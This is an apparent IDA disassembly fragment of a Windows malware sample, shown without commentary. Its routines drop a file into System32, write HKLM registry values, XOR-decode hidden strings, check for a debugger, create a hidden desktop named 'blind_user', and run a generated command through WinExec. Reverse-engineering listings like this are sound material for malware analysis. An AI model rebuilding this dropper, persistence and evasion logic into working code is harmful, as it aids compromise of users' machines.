		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_320]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_31C]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_318]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_314]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_310]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_30C]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_308]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_304]
		push	edi
		lea	edi, [ebp+var_269]
		push	edi
		call	sub_40CA30
		call	sub_40C5A4	; GetVersion
		lea	edi, [ebp+var_2E9]
		lea	esi, aVEM	; "v e~m"
		mov	ecx, 3
		rep movsw
		lea	eax, [ebp+var_2DE]
		push	eax
		call	sub_4039D6
		add	esp, 34h
		mov	ebx, 3F4Bh
		sub	ebx, 721Bh
		lea	edi, [ebp+var_2F1]
		lea	esi, aKPyesn	; "k&PYESN"
		mov	ecx, 2
		rep movsd
		call	sub_40CA18
		mov	edx, 10624DD3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		mov	edi, eax
		add	edi, 41h
		mov	edx, edi
		mov	[ebp+var_101], dl
		lea	edi, [ebp+var_2F4]
		lea	esi, aAj	; "aJ"
		mov	ecx, 3
		rep movsb
		mov	[ebp+var_1], 1
		jmp	short loc_403E4A
; ---------------------------------------------------------------------------

loc_403E1A:				; CODE XREF: sub_403C5F+1F0j
		call	sub_40CA18
		movzx	edi, [ebp+var_1]
		mov	edx, 10624DD3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		mov	esi, eax
		add	esi, 61h
		mov	edx, esi
		mov	[ebp+edi+var_101], dl
		add	[ebp+var_1], 1

loc_403E4A:				; CODE XREF: sub_403C5F+1B9j
		mov	al, [ebp+var_1]
		cmp	al, 8
		jbe	short loc_403E1A
		mov	[ebp+var_26C], 789Fh
		movzx	eax, [ebp+var_26C]
		imul	eax, 7E80h
		mov	[ebp+var_26C], ax
		mov	[ebp+var_F9], 0
		call	sub_40CA18
		mov	edx, eax
		test	dl, 1
		jnz	short loc_403EA8
		call	sub_40C574	; GetProcessHeap
		mov	[ebp+var_FB], 33h
		mov	[ebp+var_324], 1F1Ah
		add	[ebp+var_324], 4A03h
		mov	[ebp+var_FA], 32h

loc_403EA8:				; CODE XREF: sub_403C5F+220j
		push	9
		push	offset word_44661E
		call	sub_403936
		lea	edi, [ebp+var_101]
		push	edi
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\System32"
		push	eax
		lea	edi, [ebp+var_205]
		push	edi
		call	sub_40CA30
		lea	edi, [ebp+var_2F5]
		lea	esi, byte_441202
		xor	ecx, ecx
		inc	ecx
		rep movsb
		lea	eax, [ebp+var_205]
		push	eax
		call	sub_403449
		call	sub_40C514	; GetCurrentThreadId
		push	0
		push	0
		push	2
		push	0
		push	0
		push	40000000h
		lea	eax, [ebp+var_205]
		push	eax
		call	sub_40C67C	; CreateFileA
		mov	ebx, eax
		mov	[ebp+var_270], 1D0Fh
		inc	[ebp+var_270]
		push	[ebp+arg_0]
		mov	eax, offset aMjanfj32 ;	"Mjanfj32"
		push	eax
		call	sub_40CA30
		push	0
		lea	eax, [ebp+var_2FC]
		push	eax
		push	1A01h
		push	offset dword_43C1A8
		push	ebx
		call	sub_40C730	; WriteFile
		lea	edi, [ebp+var_2FF]
		lea	esi, byte_441203
		mov	ecx, 3
		rep movsb
		push	ebx
		call	sub_40C55C	; CloseHandle
		call	sub_40C634	; IsDebuggerPresent
		push	17h
		push	offset word_446606
		call	sub_403936
		lea	edi, [ebp+var_269]
		push	edi
		push	eax
		lea	edi, [ebp+var_101]
		push	edi
		call	sub_40CA30
		mov	[ebp+var_271], 81h
		add	[ebp+var_271], 1
		lea	eax, [ebp+var_205]
		push	eax
		push	offset byte_446605
		lea	eax, [ebp+var_101]
		push	eax
		push	80000000h
		call	sub_40404B
		mov	[ebp+var_278], 2820h
		mov	eax, 260Ch
		mul	[ebp+var_278]
		mov	[ebp+var_324], eax
		mov	[ebp+var_278], eax
		push	0Eh
		push	offset word_4465F6
		call	sub_403936
		mov	[ebp+var_328], eax
		push	9
		push	offset dword_4465EC
		call	sub_403936
		push	eax
		mov	edi, [ebp+var_328]
		push	edi
		lea	edi, [ebp+var_101]
		push	edi
		push	80000000h
		call	sub_40404B
		call	sub_40C598	; GetTickCount
		push	45h
		push	offset word_4465A6

loc_404010:				; DATA XREF: .data:0043E139w
					; .data:0043E153w ...
		call	sub_403936
		lea	edi, [ebp+var_269]
		push	edi
sub_403C5F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40401C	proc near		; DATA XREF: .data:0043E1CDo
					; .data:0043E21Cr
		lea	edi, [ebp-2DEh]
		push	edi
		push	eax
sub_40401C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404024	proc near		; DATA XREF: .data:0043E201o
					; .data:0043E216r ...
		push	80000002h
		call	sub_40404B	; DATA XREF: .data:loc_43E1A1r
					; .data:loc_43E1B1r
		add	esp, 80h	; DATA XREF: .data:0043E0A5w

loc_404034:				; DATA XREF: .data:0043E0AFw
					; .data:0043E0CAr ...
		mov	word ptr [ebp-27Ah], 2967h
		sub	word ptr [ebp-27Ah], 716Eh
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404024	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40404B	proc near		; CODE XREF: sub_403C5F+348p
					; sub_403C5F+3A0p ...

var_17		= byte ptr -17h
var_F		= byte ptr -0Fh
var_C		= byte ptr -0Ch
var_6		= word ptr -6
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_6], 396Fh
		sub	[ebp+var_6], 2933h
		inc	dword_43B228
		lea	edi, [ebp+var_F]
		lea	esi, word_441206
		mov	ecx, 3
		rep movsb
		lea	edi, [ebp+var_17]
		lea	esi, aUs6arh	; " US6rH"
		movsd
		movsd
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_4]

loc_40408C:				; DATA XREF: .data:0043E054w
		push	eax
		push	0
		push	0F003Fh		; DATA XREF: .data:0043E059w
					; .data:0043E075w

loc_404094:				; DATA XREF: .data:0043E5B4w
					; .data:0043E5BAr ...
		push	0
		push	0
sub_40404B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404098	proc near		; DATA XREF: .data:loc_43E4BDo
					; .data:0043E519o ...
		push	0
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40C91C	; RegCreateKeyExA
		call	sub_40C5A4	; GetVersion
sub_404098	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4040AA	proc near		; DATA XREF: sub_43E630+Co
		mov	eax, [ebp+14h]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh

loc_4040B2:				; CODE XREF: sub_4040AA+Dj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4040B2
		mov	[ebp-0Ch], eax	; DATA XREF: sub_43E630+1Co
		call	sub_40C634	; IsDebuggerPresent
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp+14h]
		push	1
		push	0
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp-4]
		call	sub_40C94C	; RegSetValueExA
		call	sub_40C574	; GetProcessHeap
		push	dword ptr [ebp-4]
		call	sub_40C928	; RegCloseKey
		mov	ebx, 4DD8h
		mov	eax, 4D1Ah
		mul	ebx
		mov	[ebp-1Ch], eax
		mov	eax, [ebp-1Ch]
		mov	ebx, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4040AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4040FC	proc near		; CODE XREF: sub_404194+FEp
					; sub_404194+11Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_44121C
		lea	eax, ds:411DB0h[eax]
		push	eax
		call	sub_40C9F4
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_40413C
; ---------------------------------------------------------------------------

loc_404122:				; CODE XREF: sub_4040FC+42j
		mov	eax, dword_44121C
		add	eax, edi
		lea	eax, ds:411DB0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0ADh
		mov	[eax], dl
		inc	edi

loc_40413C:				; CODE XREF: sub_4040FC+24j
		cmp	edi, esi
		jl	short loc_404122
		mov	[ebp+var_4], 1A7h
		mov	eax, dword_44121C
		add	eax, esi
		mov	byte ptr ds:dword_411DB0[eax], 0
		mov	edi, dword_44121C
		add	dword_44121C, 2
		mov	eax, dword_44121C
		lea	eax, [eax+esi+2]
		mov	dword_44121C, eax
		inc	dword_44121C
		cmp	dword_44121C, 0DB6h
		jle	short loc_40418A
		and	dword_44121C, 0

loc_40418A:				; CODE XREF: sub_4040FC+85j
		lea	eax, dword_411DB0[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_4040FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404194	proc near		; CODE XREF: sub_40A766+33Dp

var_14BA	= byte ptr -14BAh
var_14B3	= byte ptr -14B3h
var_14B2	= byte ptr -14B2h
var_14AC	= byte ptr -14ACh
var_14A7	= byte ptr -14A7h
var_14A4	= byte ptr -14A4h
var_149C	= byte ptr -149Ch
var_1499	= byte ptr -1499h
var_1496	= byte ptr -1496h
var_1397	= byte ptr -1397h
var_1396	= byte ptr -1396h
var_1395	= byte ptr -1395h
var_1394	= dword	ptr -1394h
var_1384	= dword	ptr -1384h
var_1300	= byte ptr -1300h
var_1201	= byte ptr -1201h
var_1102	= word ptr -1102h
var_10FF	= byte ptr -10FFh
var_10FE	= byte ptr -10FEh
var_FF		= byte ptr -0FFh

		push	ebp
		mov	ebp, esp
		mov	eax, 14BCh
		call	sub_40C498
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_10FF],	5Ah
		movzx	eax, [ebp+var_10FF]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_10FF],	al
		lea	edi, [ebp+var_1499]
		lea	esi, byte_441220
		mov	ecx, 3
		rep movsb
		lea	edi, [ebp+var_149C]
		lea	esi, byte_441223
		mov	ecx, 3
		rep movsb
		push	0FFh
		lea	eax, [ebp+var_1300]
		push	eax
		push	0
		call	sub_40C544	; GetModuleFileNameA
		mov	ebx, 2910h
		inc	ebx
		mov	[ebp+var_1394],	94h
		mov	[ebp+var_1102],	6834h
		movzx	eax, [ebp+var_1102]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_1102],	ax
		lea	eax, [ebp+var_1394]
		push	eax
		call	sub_40C5B0	; GetVersionExA
		mov	[ebp+var_1395],	0B9h
		add	[ebp+var_1395],	1
		lea	edi, [ebp+var_14A4]
		lea	esi, aNb_ya	; "%&nb.ya"
		movsd
		movsd
		cmp	[ebp+var_1384],	2
		jnz	loc_4042E9
		mov	[ebp+var_14B3],	0DCh
		add	[ebp+var_14B3],	90h
		push	0FFh
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_40C580	; GetSystemDirectoryA
		lea	edi, [ebp+var_14BA]
		lea	esi, a@p	; "  $~@p"
		mov	ecx, 7
		rep movsb
		push	0Fh
		push	offset word_446596
		call	sub_4040FC
		lea	edi, [ebp+var_FF]
		push	edi
		push	eax
		lea	edi, [ebp+var_1201]
		push	edi
		call	sub_40CA30
		push	0Ah
		push	offset byte_44658B
		call	sub_4040FC
		lea	edi, [ebp+var_FF]
		push	edi
		push	eax
		lea	edi, [ebp+var_1496]
		push	edi
		call	sub_40CA30
		push	8
		push	offset word_446582
		call	sub_4040FC
		push	eax
		lea	edi, [ebp+var_FF]
		push	edi
		call	sub_40CA54
		add	esp, 38h
		jmp	short loc_404365
; ---------------------------------------------------------------------------

loc_4042E9:				; CODE XREF: sub_404194+BFj
		call	sub_40C574	; GetProcessHeap
		push	0FFh
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_40C5C8	; GetWindowsDirectoryA
		call	sub_40C598	; GetTickCount
		push	0Fh
		push	offset word_446572
		call	sub_4040FC
		lea	edi, [ebp+var_FF]
		push	edi
		push	eax
		lea	edi, [ebp+var_1201]
		push	edi
		call	sub_40CA30
		call	sub_40C5A4	; GetVersion
		push	0Eh
		push	offset byte_446563
		call	sub_4040FC
		lea	edi, [ebp+var_FF]
		push	edi
		push	eax
		lea	edi, [ebp+var_1496]
		push	edi
		call	sub_40CA30
		push	0Ch
		push	offset word_446556
		call	sub_4040FC
		push	eax
		lea	edi, [ebp+var_FF]
		push	edi
		call	sub_40CA54
		add	esp, 38h

loc_404365:				; CODE XREF: sub_404194+153j
		lea	eax, [ebp+var_1496]
		push	eax
		call	sub_40C760	; DeleteFileA
		call	sub_40C598	; GetTickCount
		lea	edi, [ebp+var_14A7]
		lea	esi, aP		; " p"
		mov	ecx, 3
		rep movsb
		push	0
		push	80h
		push	2
		push	0
		push	0
		push	40000000h
		lea	eax, [ebp+var_1201]
		push	eax
		call	sub_40C67C	; CreateFileA
		mov	ebx, eax
		lea	edi, [ebp+var_14B2]
		lea	esi, aVk_0	; " vK%;"
		mov	ecx, 3
		rep movsw
		push	39h
		push	offset aCAzaNiUAzaNNiN ; "ݠޓˍٍލ"...
		call	sub_4040FC
		lea	edi, [ebp+var_1201]
		push	edi
		lea	edi, [ebp+var_1300]
		push	edi
		lea	edi, [ebp+var_1300]
		push	edi
		push	eax
		lea	edi, [ebp+var_10FE]
		push	edi
		call	sub_40CA30
		add	esp, 1Ch
		call	sub_40C514	; GetCurrentThreadId
		lea	ecx, [ebp+var_10FE]
		or	eax, 0FFFFFFFFh

loc_4043FC:				; CODE XREF: sub_404194+26Dj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4043FC
		push	0
		lea	esi, [ebp+var_14AC]
		push	esi
		push	eax
		lea	edi, [ebp+var_10FE]
		push	edi
		push	ebx
		call	sub_40C730	; WriteFile
		push	ebx
		call	sub_40C55C	; CloseHandle
		mov	ebx, 5F3Bh
		mov	eax, ebx
		add	eax, ebx
		mov	ebx, eax
		push	8
		push	offset aINvuni	; "ލ"
		call	sub_4040FC
		add	esp, 8
		lea	edi, [ebp+var_1201]
		push	edi
		lea	edi, [ebp+var_FF]
		push	edi
		push	eax
		lea	edi, [ebp+var_10FE]
		push	edi
		call	sub_40CA30
		add	esp, 10h
		mov	[ebp+var_1396],	0B7h
		sub	[ebp+var_1396],	77h
		push	0
		lea	eax, [ebp+var_10FE]
		push	eax
		call	sub_40C724	; WinExec
		mov	[ebp+var_1397],	22h
		sub	[ebp+var_1397],	6Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404194	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	dword ptr [ebp-4], 20Eh
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_441248
		lea	eax, ds:42FD00h[eax]
		push	eax
		call	sub_40C9F4
		add	esp, 0Ch
		mov	dword ptr [ebp-8], 331h
		xor	edi, edi
		jmp	short loc_4044D6
; ---------------------------------------------------------------------------

loc_4044BC:				; CODE XREF: .text:004044D8j
		mov	eax, dword_441248
		add	eax, edi
		lea	eax, ds:42FD00h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 8Fh
		mov	[eax], dl
		inc	edi

loc_4044D6:				; CODE XREF: .text:004044BAj
		cmp	edi, esi
		jl	short loc_4044BC
		mov	eax, dword_441248
		add	eax, esi
		mov	byte ptr ds:dword_42FD00[eax], 0
		mov	edi, dword_441248
		inc	dword_441248
		mov	eax, dword_441248
		lea	eax, [eax+esi+6]
		mov	dword_441248, eax
		add	dword_441248, 2
		cmp	dword_441248, 0DFDh
		jle	short loc_40451D
		and	dword_441248, 0

loc_40451D:				; CODE XREF: .text:00404514j
		lea	eax, dword_42FD00[edi]
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================



sub_404525	proc near		; DATA XREF: sub_43E731+A6o
		leave
		retn
sub_404525	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404527	proc near		; CODE XREF: sub_4062CD+21Bp
					; sub_408BE4+13Dp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		call	sub_40C508	; GetCurrentProcessId
		cmp	dword_44124C, 0
		jz	short loc_40456A
		mov	[ebp+var_C], 30A1h
		inc	[ebp+var_C]
		call	sub_40C514	; GetCurrentThreadId
		push	eax
		call	sub_40C838	; GetThreadDesktop
		mov	[ebp+var_10], eax
		call	sub_40C598	; GetTickCount
		mov	eax, dword_44124C
		cmp	[ebp+var_10], eax
		jnz	short loc_40459E
		xor	eax, eax
		inc	eax
		jmp	short loc_4045B2
; ---------------------------------------------------------------------------

loc_40456A:				; CODE XREF: sub_404527+15j
		push	0
		push	0C7h
		push	0
		push	0
		push	0
		push	offset aBlind_user ; "blind_user"
sub_404527	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40457C	proc near		; DATA XREF: sub_43E731+E0o
		call	sub_40C820	; CreateDesktopA
		mov	dword_44124C, eax
sub_40457C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404586	proc near		; DATA XREF: sub_43E731+476o
		lea	edi, [ebp-8]
		lea	esi, aK0iJ_0	; " K0i=J "
		movsd
		movsd
		cmp	dword_44124C, 0
		jnz	short loc_40459E
		xor	eax, eax
		jmp	short loc_4045B2
; ---------------------------------------------------------------------------

loc_40459E:				; CODE XREF: sub_404527+3Cj
					; sub_404586+12j
		push	dword_44124C
		call	sub_40C82C	; SetThreadDesktop
		mov	ebx, eax
		call	sub_40C5A4	; GetVersion
		mov	eax, ebx

loc_4045B2:				; CODE XREF: sub_404527+41j
					; sub_404586+16j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404586	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4045B7	proc near		; CODE XREF: sub_4062CD+2A2p
					; sub_408BE4+18Fp

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_40C508	; GetCurrentProcessId
		mov	eax, [ebp+arg_0]
		lea	edx, aBlind_user ; "blind_user"
		mov	[eax+8], edx
		mov	[ebp+var_2], 294Bh
		movzx	eax, [ebp+var_2]
		imul	eax, 2277h
		mov	[ebp+var_2], ax
		leave
		retn
sub_4045B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4045E2	proc near		; CODE XREF: sub_404663+53p
					; sub_404663+97p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
sub_4045E2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4045EF	proc near		; DATA XREF: sub_43E731+4B8o
		mov	eax, dword_441260
		lea	eax, ds:416690h[eax]
		push	eax
		call	sub_40C9F4
		add	esp, 0Ch
		mov	dword ptr [ebp-4], 249h
		xor	edi, edi
		jmp	short loc_404626
; ---------------------------------------------------------------------------

loc_40460F:				; CODE XREF: sub_4045EF+39j
		mov	eax, dword_441260
		add	eax, edi
		lea	eax, ds:416690h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 6Ch
		mov	[eax], dl
		inc	edi

loc_404626:				; CODE XREF: sub_4045EF+1Ej
		cmp	edi, esi
		jl	short loc_40460F
		mov	eax, dword_441260
		add	eax, esi
		mov	byte ptr ds:dword_416690[eax], 0
		mov	edi, dword_441260
		mov	eax, edi
		add	eax, 6
		add	eax, esi
		mov	dword_441260, eax
		cmp	eax, 0DACh
		jle	short loc_404659
		and	dword_441260, 0

loc_404659:				; CODE XREF: sub_4045EF+61j
		lea	eax, dword_416690[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_4045EF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404663	proc near		; CODE XREF: sub_405601+6DBp
					; sub_405601+784p ...

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10A		= byte ptr -10Ah
var_109		= dword	ptr -109h
var_105		= byte ptr -105h
var_103		= byte ptr -103h
var_FF		= byte ptr -0FFh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		call	sub_40C634	; IsDebuggerPresent
		push	[ebp+arg_4]
		push	ebx
		call	sub_40CA54
		add	esp, 8
		call	sub_40C574	; GetProcessHeap
		call	sub_40CA18
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	loc_40476E
		call	sub_40C538	; RtlGetLastWin32Error
		mov	[ebp+var_FF], 0
		call	sub_40C634	; IsDebuggerPresent
		push	3
		push	offset dword_446504
		call	sub_4045E2
		push	eax
		push	ebx
		call	sub_40CA54
		add	esp, 10h
		lea	edi, [ebp+var_10A]
		lea	esi, aUng9Q	; "unG9	Q"
		mov	ecx, 7
		rep movsb
		mov	[ebp+var_103], 0
		jmp	short loc_40473C
; ---------------------------------------------------------------------------

loc_4046E1:				; CODE XREF: sub_404663+E1j
		call	sub_40CA18
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404735
		push	4
		push	offset byte_4464FF
		call	sub_4045E2
		mov	[ebp+var_110], eax
		call	sub_40CA18
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		lea	edi, [ebp+var_FF]
		push	edi
		mov	edi, [ebp+var_110]
		push	edi
		lea	edi, [ebp+var_FF]
		push	edi
		call	sub_40CA30
		add	esp, 18h

loc_404735:				; CODE XREF: sub_404663+8Ej
		add	[ebp+var_103], 1

loc_40473C:				; CODE XREF: sub_404663+7Cj
		mov	al, [ebp+var_103]
		cmp	al, 0Ah
		jb	short loc_4046E1
		call	sub_40C508	; GetCurrentProcessId
		lea	eax, [ebp+var_FF]
		push	eax
		push	ebx
		call	sub_40CA54
		push	3
		push	offset off_4464FB
		call	sub_4045E2
		push	eax
		push	ebx
		call	sub_40CA54
		add	esp, 18h

loc_40476E:				; CODE XREF: sub_404663+35j
		call	sub_40CA18
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	loc_404855
		mov	eax, dword_44126B
		mov	[ebp+var_109], eax
		push	10h
		push	offset word_4464EA
		call	sub_4045E2
		mov	[ebp+var_110], eax
		call	sub_40CA18
		mov	[ebp+var_114], eax
		call	sub_40CA18
		mov	[ebp+var_118], eax
		call	sub_40CA18
		mov	[ebp+var_11C], eax
		call	sub_40CA18
		mov	ecx, 0EA60h
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_11C]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp+var_118]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp+var_114]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp+var_110]
		push	edi
		lea	edi, [ebp+var_FF]
		push	edi
		call	sub_40CA30
		mov	word ptr [ebp-104h], 6A38h
		add	word ptr [ebp-104h], 2C92h
		lea	eax, [ebp+var_FF]
		push	eax
		push	ebx
		call	sub_40CA54
		add	esp, 28h
		mov	[ebp+var_105], 0BDh
		add	[ebp+var_105], 1

loc_404855:				; CODE XREF: sub_404663+11Bj
		call	sub_40CA18
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	loc_404905
		mov	eax, dword_44126F
		mov	[ebp+var_109+3], eax
		push	0Ah
sub_404663	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404878	proc near		; DATA XREF: sub_43E731+55Bo
		push	offset byte_4464DF
		call	sub_4045E2
		mov	[ebp-10Ch], eax
		call	sub_40CA18
		mov	[ebp-110h], eax
		call	sub_40CA18
		mov	[ebp-114h], eax
		call	sub_40CA18
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp-114h]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp-110h]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp-10Ch]
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_40CA30
		call	sub_40C5A4	; GetVersion
		lea	eax, [ebp-0FFh]
		push	eax
		push	ebx
		call	sub_40CA54
		add	esp, 24h

loc_404905:				; CODE XREF: sub_404663+202j
		call	sub_40CA18
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_40492D
		push	2
		push	offset aAf	; "af"
		call	sub_4045E2
		push	eax
		push	ebx
		call	sub_40CA54
		add	esp, 10h

loc_40492D:				; CODE XREF: sub_404878+9Dj
		mov	word ptr [ebp-102h], 140Ah
		movzx	eax, word ptr [ebp-102h] ; DATA	XREF: sub_43E731+41Dr
		imul	eax, 5B3Bh
		mov	[ebp-102h], ax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404878	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40494F	proc near		; CODE XREF: sub_405601+19Fp
					; sub_405601+1BDp ...

var_122		= dword	ptr -122h
var_11E		= word ptr -11Eh
var_105		= byte ptr -105h
var_104		= word ptr -104h
var_FF		= byte ptr -0FFh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 138h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_104], 30D1h
		movzx	eax, [ebp+var_104]
		imul	eax, 4FD6h
		mov	[ebp+var_104], ax
		push	[ebp+arg_4]
		push	ebx
		call	sub_40CA54
		add	esp, 8
		mov	[ebp+var_105], 34h
		sub	[ebp+var_105], 75h
		call	sub_40CA18
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	loc_404B75
		mov	eax, dword_441273
		mov	[ebp+var_122], eax
		mov	[ebp+var_FF], 0
		mov	[ebp+var_11E], 6E30h
		movzx	eax, [ebp+var_11E]
		imul	eax, 1271h
		mov	[ebp+var_11E], ax
		push	5
		push	offset aPmaal	; "PMAAL"
		call	sub_4045E2
		push	eax
		push	ebx
		call	sub_40CA54
		add	esp, 10h
sub_40494F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4049F0	proc near		; DATA XREF: sub_43E731+2Ao
		mov	byte ptr [ebp-11Bh], 0
		jmp	loc_404B3F
sub_4049F0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_404A38

loc_4049FC:				; CODE XREF: sub_404A38+10Fj
		mov	byte ptr [ebp-129h], 28h
		sub	byte ptr [ebp-129h], 0A9h
		call	sub_40CA18
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404A5E
		push	4
		push	offset byte_4464FF
		call	sub_4045E2
		mov	[ebp-130h], eax
		call	sub_40CA18
		mov	ecx, 1Ah
; END OF FUNCTION CHUNK	FOR sub_404A38

; =============== S U B	R O U T	I N E =======================================



sub_404A38	proc near		; DATA XREF: sub_43F132+12o

; FUNCTION CHUNK AT 004049FC SIZE 0000003C BYTES

		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		mov	edi, [ebp-130h]
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_40CA30
		add	esp, 18h

loc_404A5E:				; CODE XREF: sub_404A38-1Ej
		mov	dword ptr [ebp-128h], 1B00h
		mov	eax, [ebp-128h]
		mov	edx, eax
		add	edx, eax
		mov	[ebp-128h], edx
		call	sub_40CA18
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404ACC
